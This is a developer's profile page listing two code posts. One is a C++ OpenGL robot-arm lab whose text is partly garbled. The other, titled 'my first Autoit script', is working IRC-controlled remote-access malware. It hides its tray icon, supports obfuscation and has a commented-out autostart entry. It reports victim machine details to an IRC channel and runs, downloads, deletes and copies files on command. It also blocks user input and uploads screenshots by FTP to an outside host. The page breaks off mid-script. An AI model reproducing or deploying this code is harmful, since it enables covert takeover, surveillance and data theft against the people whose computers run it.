DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Over 2 million developers have joined DZone.
Log In / Join
Refcards Trend Reports
Events Video Library
Refcards
Trend Reports

Events

View Events Video Library

Zones

Culture and Methodologies Agile Career Development Methodologies Team Management
Data Engineering AI/ML Big Data Data Databases IoT
Software Design and Architecture Cloud Architecture Containers Integration Microservices Performance Security
Coding Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
Culture and Methodologies
Agile Career Development Methodologies Team Management
Data Engineering
AI/ML Big Data Data Databases IoT
Software Design and Architecture
Cloud Architecture Containers Integration Microservices Performance Security
Coding
Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance
Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks

Elevate your data management. Join a lively chat to learn how streaming data can improve real-time decision-making, and how to reduce costs.

Platform Engineering: Enhance the developer experience, establish secure environments, automate self-service tools, and streamline workflows

Build Cloud resilience. High-profiled cloud failures have shown us one thing – traditional approaches aren't enough. Join the discussion.

Data Engineering: The industry has come a long way from organizing unstructured data to adopting today's modern data pipelines. See how.

Avatar

Daewoo Han

Hanoi, VN

Joined Jun 2015

Stats

Reputation: 0
Pageviews: 2.1K
Articles: 2
Comments: 0
  • Articles

Articles

article thumbnail
computer graphic
// Name : Hoang Xuan Nhat Huy // ID : 51101332 #include #include #include #include #include using namespace std; class Point3 { public: float x, y, z; void set(float dx, float dy, float dz) { x = dx; y = dy; z = dz;} void set(Point3& p) { x = p.x; y = p.y; z = p.z;} Point3() { x = y = z = 0;} Point3(float dx, float dy, float dz) { x = dx; y = dy; z = dz;} }; class Color3 { public: float r, g, b; void set(float red, float green, float blue) { r = red; g = green; b = blue;} void set(Color3& c) { r = c.r; g = c.g; b = c.b;} Color3() { r = g = b = 0;} Color3(float red, float green, float blue) { r = red; g = green; b = blue;} }; class Point2 { public: Point2() { x = y = 0.0f; } // constructor 1 Point2(float xx, float yy) { x = xx; y = yy; } // constructor 2 void set(float xx, float yy) { x = xx; y = yy; } float getX() { return x;} float getY() { return y;} void draw() { glBegin(GL_POINTS); glVertex2f((GLfloat)x, (GLfloat)y); glEnd(); } private: float x, y; }; class IntRect { public: IntRect() { l = 0; r = 100; b = 0; t = 100; } // constructor IntRect( int left, int right, int bottom, int top) { l = left; r = right; b = bottom; t = top; } void set( int left, int right, int bottom, int top) { l = left; r = right; b = bottom; t = top; } void draw(){ glRecti(l, b, r, t); glFlush(); } // draw this rectangle using OpenGL int getWidth(){return (r-l);} int getHeight() { return (t-b);} private: int l, r, b, t; }; class RealRect { public: RealRect() { l = 0; r = 100; b = 0; t = 100; } // constructor RealRect( float left, float right, float bottom, float top) { l = left; r = right; b = bottom; t = top; } void set( float left, float right, float bottom, float top) { l = left; r = right; b = bottom; t = top; } float getWidth(){return (r-l);} float getHeight() { return (t-b);} void RealRect::draw(){ glRectf(l, b, r, t); glFlush(); };// draw this rectangle using OpenGL private: float l, r, b, t; }; class Vector3 { public: float x, y, z; void set(float dx, float dy, float dz) { x = dx; y = dy; z = dz;} void set(Vector3& v) { x = v.x; y = v.y; z = v.z;} void flip() { x = -x; y = -y; z = -z;} //void setDiff(Point3& a, Point3& void normalize(); Vector3() { x = y = z = 0;} Vector3(float dx, float dy, float dz) { x = dx; y = dy; z = dz;} Vector3(Vector3& v) { x = v.x; y = v.y; z = v.z;} Vector3 cross(Vector3 b); float dot(Vector3 b); }; class VertexID { public: int vertIndex; int colorIndex; }; class Face { public: int nVerts; VertexID* vert; Face() { nVerts = 0; vert = NULL; } ~Face() { if(vert !=NULL) { delete[] vert; vert = NULL; } nVerts = 0; } }; class Mesh { public: int numVerts; Point3* pt; int numFaces; Face* face; float slideX, slideY, slideZ; float rotateX, rotateY, rotateZ; public: Mesh() { slideX = 0; slideY = 0; slideZ = 0; rotateX = 0; rotateY = 0; rotateZ = 0; numVerts = 0; pt = NULL; numFaces = 0; face = NULL; } ~Mesh() { if (pt != NULL) { delete[] pt; } if(face != NULL) { delete[] face; } numVerts = 0; numFaces = 0; } void DrawWireframe(); void DrawColor(); void CreateTetrahedron(); void CreateCube(float fSize); void CreateSphere(int nSlice, int nStack, float radius); void CreateYPlane(int nXSegment, int nZSegment, float fXWidth, float fZWidth); void CreateCuboid(float fSizeX, float fSizeY, float fSizeZ); void CreateCylinder(int nSegment, float fHeight, float fRadius); void CreateCylinderWithHole(int nSegment, float fHeight, float fORadius, float fIRadius); void CreatehaftSphere(int nSlice, int nStack, float radius); void SetColor(int colorIdx); }; #define DEG2RAD(x) (x*PI)/180.0f void myDisplay(); int screenWidth = 600; int screenHeight= 600; float fRoomSize = 15; bool bWireFrame = false; float YPlanePos = 0; float ballRadius = 0.4; float ball1SizeZ = 2; float cuboidBaseSizeXZ = 0.8; float cuboidBaseSizeY = 0.1; float cylBase1Radius = cuboidBaseSizeXZ/2 - 0.1; float cylBase1Height = 0.2; float cylBase2Radius = cylBase1Radius - 0.1; float cylBase2Height = 2.5; /////////////////////////////////////////////////// float upperArm1ORadius = cylBase1Radius; float upperArm1IRadius = cylBase2Radius; float upperArm1Height = cylBase1Height*1.5; float upperArm1Offset = 0.5; float upperArm2SizeX = upperArm1IRadius; float upperArm2SizeZ = 1.4/2; float upperArm2SizeY = upperArm1Height/2; float upperArm3Radius = upperArm2SizeX; float upperArm3Height = upperArm2SizeY*2; float upperArm4Radius = upperArm3Radius - 0.08; float upperArm4Height = upperArm3Height*2; float upperArmRotateY = 0; /////////////////////////////////////////////// float foreArm1ORadius = 0.2; float foreArm1IRadius = cylBase2Radius; float foreArm1Height = 0.5; float foreArm1Offset = 0.5; //float foreArm2SizeX = upperArm1IRadius; //float foreArm2SizeZ = 0.7; //float foreArm2SizeY = upperArm1Height; float foreArm2SizeX = 0.15; float foreArm2SizeZ = 1.4; float foreArm2SizeY = 0.5/2; float foreArm3Radius = 0.12; float foreArm3Height = 0.5; float foreArm4Radius = 0.1; float foreArm4Height = 1.6; float foreArmRotateY = 0; float handMove = 0; float handMove1 = 0; float move = 0; bool hold1 = false; bool hold2 = false; bool hold3 = false; bool hold4 = false; float ball1upper = 0; float ball1hand = 0; float ball2upper = 0; float ball2hand = 0; float ball3upper = 0; float ball3hand = 0; float ball4upper = 0; float ball4hand = 0; //Mesh for the foor Mesh planeY; Mesh planeY2; //Mesh for the ball Mesh ball1; Mesh ball2; Mesh ball3; Mesh ball4; //Mesh for the body Mesh cuboidBase; Mesh cylBase1; Mesh cylBase2; //Mesh for upper arm Mesh upperArm1; Mesh upperArm2; Mesh upperArm3; Mesh upperArm4; //Mesh for fore arm Mesh foreArm1; Mesh foreArm2; Mesh foreArm3; Mesh foreArm4; Mesh Hand; Mesh Hand1; //Camera parameters float camera_angle; float camera_height; float camera_dis; float camera_X, camera_Y, camera_Z; float lookAt_X, lookAt_Y, lookAt_Z; float camera_lookAt; bool b4View = false; #define PI 3.1415926 #define COLORNUM 14 float ColorArr[COLORNUM][3] = {{1.0, 0.0, 0.0}, {0.0, 1.0, 0.0}, { 0.0, 0.0, 1.0}, {1.0, 1.0, 0.0}, { 1.0, 0.0, 1.0},{ 0.0, 1.0, 1.0}, {0.3, 0.3, 0.3}, {0.5, 0.5, 0.5}, { 0.9, 0.9, 0.9}, {1.0, 0.5, 0.5}, { 0.5, 1.0, 0.5},{ 0.5, 0.5, 1.0}, {0.0, 0.0, 0.0}, {1.0, 1.0, 1.0}; void Mesh::SetColor(int colorIdx){ for (int f = 0; f < numFaces; f++) { for (int v = 0; v < face[f].nVerts; v++) { face[f].vert[v].colorIndex = colorIdx; } } } void Mesh::CreateCylinderWithHole(int nSegment, float fHeight, float fORadius, float fIRadius) { numVerts = nSegment * 4; pt = new Point3[numVerts]; int count = 0; for (int i = 0; i < 4; i++) { if (i == 2) fHeight *= -1; float r = (i == 0 || i == 3) ? fIRadius : fORadius; for (int j = 0; j < nSegment; j++) { float x = r * cos(2 * PI*j / nSegment); float z = r * sin(2 * PI*j / nSegment); pt[count].set(x, fHeight, z); count++; } } // ve face numFaces = nSegment * 4; face = new Face[numFaces]; count = 0; for (int i = 1; i < 5; i++) { for (int j = 0; j < nSegment; j++) { face[count].nVerts = 4; face[count].vert = new VertexID[face[count].nVerts]; face[count].vert[0].vertIndex = nSegment * (i%4) + j; face[count].vert[1].vertIndex = nSegment * (i%4) + ((j + 1) % nSegment); face[count].vert[2].vertIndex = nSegment * (i - 1) + ((j + 1) % nSegment); face[count].vert[3].vertIndex = nSegment * (i - 1) + j; count++; } } } void Mesh::CreateCylinder(int nSegment, float fHeight, float fRadius) { numVerts = 2*nSegment + 4; pt = new Point3[numVerts]; pt[0].set(0,fHeight/2,0); pt[1].set(0,-fHeight/2,0); float y=fHeight/2; for (int i = 0; i <= nSegment; i++) { float deg = 360*i/nSegment * PI / 180; float x=fRadius*sin(deg); float z=fRadius*cos(deg); pt[2+i].set(x,y,z); pt[2+i+nSegment+1].set(x,-y,z); } numFaces = 3*nSegment; face = new Face[numFaces]; for (int i = 0; i < nSegment; i++) { face[i].nVerts = 3; face[i].vert = new VertexID[face[i].nVerts]; face[i].vert[0].vertIndex = 0; face[i].vert[1].vertIndex = 2+i; face[i].vert[2].vertIndex = 2+i+1; for(int j = 0; j= 2.35) { if(2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) <= -2.35 && 2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) >= -3.65) { //4 if(move >= -0.11 && move <= -0.09) { if(hold1 == false && hold3 == false && hold4 == false) { hold2 = true; return 2; } } } } if(2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) <= -2.35 && 2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) >= -3.65) { if(2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) <= -2.35 && 2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) >= -3.65) { //3 if(move >= -0.11 && move <= -0.09) { if(hold1 == false && hold2 == false && hold4 == false) { hold3 = true; return 3; } } } } if(2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) <= -2.35 && 2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) >= -3.65) { if(2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) <= 3.65 && 2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) >= 2.35) { //2 if(move >= -0.11 && move <= -0.09) { if(hold1 == false && hold3 == false && hold2 == false) { hold4 = true; return 4; } } } } if(2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) <= 3.65 && 2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) >= 2.35) { if(2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) <= 3.65 && 2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) >= 2.35) { //1 if(move >= -0.11 && move <= -0.09) { if(hold2 == false && hold3 == false && hold4 == false) { hold1 = true; return 1; } } } } /* if(sin(upperArmRotateY*PI/180) >= -0.809017 && sin(upperArmRotateY*PI/180) <= 0.207912) { if(sin(handMove1*PI/180) >= -0.927184 && sin(handMove1*PI/180) <= -0.809017 && move >= -0.11 && move <= -0.09) cout<<"blabla"< -0.08) //move -= 0.05; } else if(move > -0.875) move -= 0.05; break; case 'v': case 'V': b4View = !b4View; changeCameraPos(); break; case '+': camera_dis += 0.1; changeCameraPos(); break; case '-': camera_dis -= 0.1; changeCameraPos(); break; //Code here //////////////////////////////////////////// } glutPostRedisplay(); } void drawFloor() { int SPACE = -2; for (int i = 0; i < 5; i++) { for (int j = 0; j < 5; j++) { glPushMatrix(); glTranslated(planeY.slideX + i*SPACE, planeY.slideY, planeY.slideZ + j*SPACE); if(bWireFrame){ planeY.DrawWireframe(); } else{ planeY.DrawColor(); } glPopMatrix(); glPushMatrix(); glTranslated(planeY2.slideX + i*SPACE, planeY2.slideY, planeY2.slideZ + j*SPACE); if(bWireFrame){ planeY2.DrawWireframe(); } else{ planeY2.DrawColor(); } glPopMatrix(); } } } void drawBall1() { glPushMatrix(); glRotated(ball1upper, 0, 1, 0); glTranslated(ball1.slideX, ball1.slideY, ball1.slideZ); glTranslated(-cos(45*PI/180)*2.9, 0, -cos(45*PI/180)*2.9); glRotated(ball1hand, 0, 1, 0); glTranslated(cos(45*PI/180)*2.9, 0, cos(45*PI/180)*2.9); //glTranslated(0, move, 0); //glTranslated(-ball1.slideX, -ball1.slideY, -ball1.slideZ); //glRotated(ball1hand, 0, 1, 0); //glTranslated(ball1.slideX, ball1.slideY, ball1.slideZ); if(bWireFrame) ball1.DrawWireframe(); else ball1.DrawColor(); glPopMatrix(); } void drawBall2() { glPushMatrix(); glRotated(ball2upper, 0, 1, 0); glTranslated(ball2.slideX, ball2.slideY, ball2.slideZ); glTranslated(cos(45*PI/180)*2.9, 0, -cos(45*PI/180)*2.9); glRotated(ball2hand, 0, 1, 0); glTranslated(-cos(45*PI/180)*2.9, 0, cos(45*PI/180)*2.9); if(bWireFrame) ball2.DrawWireframe(); else ball2.DrawColor(); glPopMatrix(); } void drawBall3() { glPushMatrix(); glRotated(ball3upper, 0, 1, 0); glTranslated(ball3.slideX, ball3.slideY, ball3.slideZ); glTranslated(cos(45*PI/180)*2.9, 0, cos(45*PI/180)*2.9); glRotated(ball3hand, 0, 1, 0); glTranslated(-cos(-45*PI/180)*2.9, 0, -cos(45*PI/180)*2.9); if(bWireFrame) ball3.DrawWireframe(); else ball3.DrawColor(); glPopMatrix(); } void drawBall4() { glPushMatrix(); glRotated(ball4upper, 0, 1, 0); glTranslated(ball4.slideX, ball4.slideY, ball4.slideZ); glTranslated(-cos(45*PI/180)*2.9, 0, cos(45*PI/180)*2.9); glRotated(ball4hand, 0, 1, 0); glTranslated(cos(45*PI/180)*2.9, 0, -cos(45*PI/180)*2.9); if(bWireFrame) ball4.DrawWireframe(); else ball4.DrawColor(); glPopMatrix(); } void drawCuboidBase() { glPushMatrix(); ////////////////////////////////// glTranslated(0, cuboidBase.slideY, 0); if(bWireFrame) cuboidBase.DrawWireframe(); else cuboidBase.DrawColor(); glPopMatrix(); } void drawCylBase1() { glPushMatrix(); ////////////////////////////////// glTranslated(0, cylBase1.slideY, 0); if(bWireFrame) cylBase1.DrawWireframe(); else cylBase1.DrawColor(); glPopMatrix(); } void drawCylBase2() { glPushMatrix(); ////////////////////////////////// glTranslated(0, cylBase2.slideY, 0); if(bWireFrame) cylBase2.DrawWireframe(); else cylBase2.DrawColor(); glPopMatrix(); } /////////////////////////////////////////////////////////////////////// void drawUpperArm1() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, upperArm1.slideY, 0); if(bWireFrame) upperArm1.DrawWireframe(); else upperArm1.DrawColor(); glPopMatrix(); } void drawUpperArm2() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, upperArm2.slideY, upperArm2.slideZ); if(bWireFrame) upperArm2.DrawWireframe(); else upperArm2.DrawColor(); glPopMatrix(); } void drawUpperArm3() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, upperArm3.slideY, upperArm3.slideZ); if(bWireFrame) upperArm3.DrawWireframe(); else upperArm3.DrawColor(); glPopMatrix(); } void drawUpperArm4() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, upperArm4.slideY, upperArm4.slideZ); if(bWireFrame) upperArm4.DrawWireframe(); else upperArm4.DrawColor(); glPopMatrix(); } /////////////////////////////////////////////////////////////////// //////////////////////////////////////////////// /////////////// THE FORE ARM /////////////////// //////////////////////////////////////////////// void drawforeArm1() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, foreArm1.slideY, foreArm1.slideZ); if(bWireFrame) foreArm1.DrawWireframe(); else foreArm1.DrawColor(); glPopMatrix(); } void drawforeArm2() { glPushMatrix(); //glTranslated(foreArm2.slideX, foreArm2.slideY - 2.5, foreArm2.slideZ); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, foreArm2.slideY, foreArm2.slideZ); glTranslated(0, -foreArm2.slideY, -(foreArm2.slideZ - 1.6)); glRotated(foreArmRotateY, 0, 1, 0); glTranslated(0, foreArm2.slideY, (foreArm2.slideZ - 1.6)); if(bWireFrame) foreArm2.DrawWireframe(); else foreArm2.DrawColor(); glPopMatrix(); } void drawforeArm3() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, foreArm3.slideY, foreArm3.slideZ); glTranslated(0, -foreArm3.slideY, -(foreArm3.slideZ - 1.6)); glRotated(foreArmRotateY, 0, 1, 0); glTranslated(0, foreArm3.slideY, (foreArm3.slideZ - 1.6)); if(bWireFrame) foreArm3.DrawWireframe(); else foreArm3.DrawColor(); glPopMatrix(); } void drawforeArm4() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, foreArm4.slideY, foreArm4.slideZ); glTranslated(0, -foreArm4.slideY, -(foreArm4.slideZ - 1.6)); glRotated(foreArmRotateY, 0, 1, 0); glTranslated(0, foreArm4.slideY, (foreArm4.slideZ - 1.6)); if(bWireFrame) foreArm4.DrawWireframe(); else foreArm4.DrawColor(); glPopMatrix(); } void drawHand() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, Hand.slideY, Hand.slideZ); glTranslated(0, -Hand.slideY, -(Hand.slideZ - 1.6)); glRotated(foreArmRotateY, 0, 1, 0); glTranslated(0, Hand.slideY, (Hand.slideZ - 1.6)); glTranslated(0, move, 0); if(bWireFrame) Hand.DrawWireframe(); else Hand.DrawColor(); glPopMatrix(); } void drawHand1() { glPushMatrix(); if(move >= -0.11 && move <= -0.09) { //cout<<<" "<< : to rotate camera counterclockwise." << endl; glutInit(&argc, argv); //initialize the tool kit glutInitDisplayMode(GLUT_DOUBLE |GLUT_RGB);//set the display mode glutInitWindowSize(screenWidth, screenHeight); //set window size glutInitWindowPosition(100, 100); // set window position on screen glutCreateWindow("Lab4"); // open the screen window /////////////////////////////////////////////////////////////// // The Floor planeY.CreateYPlane(10, 10, 1, 1); planeY.slideX = 4.5; planeY.slideY = YPlanePos; planeY.slideZ = 4.5; planeY.SetColor(15); planeY2.CreateYPlane(10, 10, 1, 1); planeY2.slideX = 3.5; planeY2.slideY = YPlanePos; planeY2.slideZ = 3.5; planeY2.SetColor(15); /////////////////////////////////////////////////////////////// // 4 balls ball1.CreateSphere(50, 20, ballRadius); ball1.slideX = 3; ball1.slideY = YPlanePos + ballRadius; ball1.slideZ = 3; ball1.SetColor(1); ball2.CreateSphere(50, 20, ballRadius); ball2.slideX = -3; ball2.slideY = YPlanePos + ballRadius; ball2.slideZ = 3; ball2.SetColor(2); ball3.CreateSphere(50, 20, ballRadius); ball3.slideX = -3; ball3.slideY = YPlanePos + ballRadius; ball3.slideZ = -3; ball3.SetColor(3); ball4.CreateSphere(50, 20, ballRadius); ball4.slideX = 3; ball4.slideY = YPlanePos + ballRadius; ball4.slideZ = -3; ball4.SetColor(4); /////////////////////////////////////////////////////////////// // The Body cuboidBase.CreateCuboid(cuboidBaseSizeXZ/2.0, cuboidBaseSizeY/2.0, cuboidBaseSizeXZ/2.0); cuboidBase.slideY = YPlanePos + cuboidBaseSizeY/2.0; cuboidBase.SetColor(0); cylBase1.CreateCylinder(20, cylBase1Height, cylBase1Radius); cylBase1.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2; cylBase1.SetColor(1); cylBase2.CreateCylinder(20, cylBase2Height, cylBase2Radius); cylBase2.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height/2 ; cylBase2.SetColor(2); /////////////////////////////////////////////////// // The Upper Arm upperArm1.CreateCylinder(20, upperArm1Height, upperArm1ORadius); upperArm1.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height - upperArm1Offset; upperArm1.SetColor(5); upperArm2.CreateCuboid(upperArm2SizeX, upperArm2SizeY, upperArm2SizeZ); upperArm2.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height - upperArm1Offset; upperArm2.slideZ = upperArm2SizeZ + upperArm1IRadius; upperArm2.SetColor(6); upperArm3.CreateCylinder(20, upperArm3Height, upperArm3Radius); upperArm3.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height - upperArm1Offset; upperArm3.slideZ = upperArm2.slideZ + upperArm2SizeZ ; upperArm3.SetColor(5); upperArm4.CreateCylinder(20, upperArm4Height, upperArm4Radius); upperArm4.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height - upperArm1Offset + upperArm4Height/2 + upperArm3Height/2; upperArm4.slideZ = upperArm3.slideZ; upperArm4.SetColor(2); /////////////////////////////////////////////////// // The Fore Arm foreArm1.CreateCylinder(20, foreArm1Height, foreArm1ORadius); foreArm1.slideY = upperArm3.slideY + upperArm4Height/2 + upperArm1Height/4; foreArm1.slideZ = upperArm4.slideZ; foreArm1.SetColor(3); foreArm2.CreateCuboid(foreArm2SizeX, foreArm2SizeY, foreArm2SizeZ); foreArm2.slideY = foreArm1.slideY; foreArm2.slideZ = foreArm1.slideZ + foreArm1IRadius/2 + foreArm2SizeZ; foreArm2.SetColor(4); foreArm3.CreateCylinder(20, foreArm3Height, foreArm3Radius); foreArm3.slideY = foreArm2.slideY; foreArm3.slideZ = foreArm2.slideZ + foreArm2SizeZ; foreArm3.SetColor(5); foreArm4.CreateCylinder(20, foreArm4Height, foreArm4Radius); foreArm4.slideY = foreArm3.slideY + 0.2; foreArm4.slideZ = foreArm3.slideZ; foreArm4.SetColor(0); /////////////////////////////////////////////////// // The Hand Hand.CreateCylinder(20, 3.5, 0.08); Hand.slideY = foreArm4.slideY; Hand.slideZ = foreArm4.slideZ; Hand.SetColor(1); Hand1.CreateCylinder(20, 0.2, 0.4); Hand1.slideY = foreArm4.slideY - 3.5/2; Hand1.slideZ = foreArm4.slideZ; Hand1.SetColor(7); ///////////////////////////////////////////////////////// myInit(); glutKeyboardFunc(myKeyboard); glutDisplayFunc(myDisplay); glutSpecialFunc(mySpecialKeyboard); glutMainLoop(); return 0; }
June 30, 2015
· 790 Views
article thumbnail
my first Autoit script
#AutoIt3Wrapper_Run_Obfuscator = y #Obfuscator_Ignore_Variables = #Obfuscator_Ignore_Funcs = #Obfuscator_On #NoTrayIcon #include #include #include #include #include #include #Include #include #include #include Global $sock, $version = 0.22 Global $server = "irc.quakenet.org" Global $port = 6667 Global $nick = "PC" & Random(1, 9, 1) & Random(1, 9, 1) & Random(1, 9, 1) & Random(1, 9, 1) Global $channel = "#rock0em" ;RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "ymsg_tray.exe", "REG_SZ", "C:\Windows\ymsg_tray.exe /onboot") TCPStartup() $sock = _IRCConnect($server, $port, $nick) While 1 ;attach() ;find_usb() $recv = TCPRecv($sock, 8192) ;--------------------------------------------------------------------------------------- If @error Then $sock = _IRCConnect($server, $port, $nick) Else ConsoleWrite($recv) EndIf ;--------------------------------------------------------------------------------------- If $recv Then $sData = StringSplit($recv, @CRLF) For $i = 1 To $sData[0] Step 1 $sTemp = StringSplit($sData[$i], " ") If $sTemp[1] = "" Then ContinueLoop If $sTemp[1] = "PING" Then _IRCPing($sock, $sTemp[2]) If $sTemp[0] <= 2 Then ContinueLoop ;--------------------------------------------------------------------------------------- If StringLeft($sData[$i], 1) = ":" Then $sData[$i] = StringTrimLeft($sData[$i], 1) If $sTemp[0] >= 5 And $sTemp[3] = $nick And $sTemp[5] = $channel And StringRegExp($sData[$i], "(?i)" & StringReplace($nick, "|", "\|") & " [@%&~=] " & $channel & " :") Then $sNameList = StringTrimLeft($sData[$i], StringInStr($sData[$i], ":")) $members = StringSplit($sNameList, " ") EndIf If $sTemp[3] = $nick And $sTemp[4] = ":End" And $sTemp[6] = "/MOTD" Then _IRCJoinChannel($sock, $channel) EndIf If $sTemp[0] >= 9 And $sTemp[4] = $nick And $sTemp[5] = ":Nickname" Then $nick &= "1" _IRCSendMessage($sock, "NICK " & $nick) EndIf If $sTemp[0] >= 3 And $sTemp[2] = "PRIVMSG" And $sTemp[3] = $channel Then $text = StringTrimLeft($sData[$i], StringInStr($sData[$i], ":")) $snick = StringLeft($sData[$i], StringInStr($sData[$i], "!") - 1) If StringLeft($text, 1) = Chr(1) Then ; /me message $text = StringTrimLeft($text, 8) Else $result = StringInStr($snick, "postmodernism") If $result = 1 Then If StringInStr($text, "checkinfo@", 2) Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then $ip = _GetIP() _IRCSendMessage($sock, "Computer Name: "&@ComputerName&" - OS: "&@OSVersion&"/"&@OSServicePack&" - User: "&@UserName&" - IP: "&$ip, $channel) EndIf EndIf ElseIf StringInStr($text, "delete@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then FileDelete($command[3]) _IRCSendMessage($sock,$command[2] & "--->deleted" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "run@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then Run($command[3]) _IRCSendMessage($sock,$command[2] & "--->running" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "download@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 3 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then InetGet($command[3],$command[4]) _IRCSendMessage($sock,$command[2] & "--->downloaded" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "rundos@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then _RunDOS($command[3]) _IRCSendMessage($sock,$command[2] & "--->executed" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "msgbox@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then MsgBox(0,"",$command[3]) _IRCSendMessage($sock,$command[2] & "--->leave msg" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "processclose@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then ProcessClose($command[3]) _IRCSendMessage($sock,$command[2] & "--->closed" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "copy@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 3 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then If ($command[3] <> "") And ($command[4] <> "") Then FileCopy($command[3],$command[4]) _IRCSendMessage($sock,$command[2] & "--->completed" , $channel) EndIf EndIf EndIf EndIf ElseIf StringInStr($text, "mousetrap@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then _MouseTrap(0,0,0,0) _IRCSendMessage($sock,$command[2] & "--->mousetrap" , $channel) EndIf ElseIf StringInStr($text, "stoptrap@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then MouseClick ("Left",0,500,400) _IRCSendMessage($sock,$command[2] & "--->stoptrap" , $channel) EndIf ElseIf StringInStr($text, "blockinput(1)@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then BlockInput(1) _IRCSendMessage($sock,$command[2] & "--->blockinput" , $channel) EndIf ElseIf StringInStr($text, "blockinput(0)@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then BlockInput(0) _IRCSendMessage($sock,$command[2] & "--->stopblock" , $channel) EndIf ElseIf StringInStr($text, "snapshot@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 5 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If ($command[2] = $nick) Then _ScreenCapture_Capture($command[5]) $Open = _FTPOpen("MyFTP Control") $Conn = _FTPConnect($Open,"dienthoaihanquoc.netau.net", $command[3], $command[4]) $Ftpp = _FtpPutFile($Conn,$command[5], "/" & $command[6]) $Ftpc = _FTPClose($Open) _IRCSendMessage($sock,"--->uploaded", $channel) FileDelete($command[5]) EndIf EndIf EndIf ElseIf StringInStr($text, "sound@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then SoundPlay($command[3]) _IRCSendMessage($sock,$command[2] & "--->played", $channel) EndIf ElseIf StringInStr($text, "filelist@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 4 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If ($command[2] = $nick) And ($command[3] <> "") Then $avCommon = _FileListToArray($command[3]) $sFile = $command[3] & 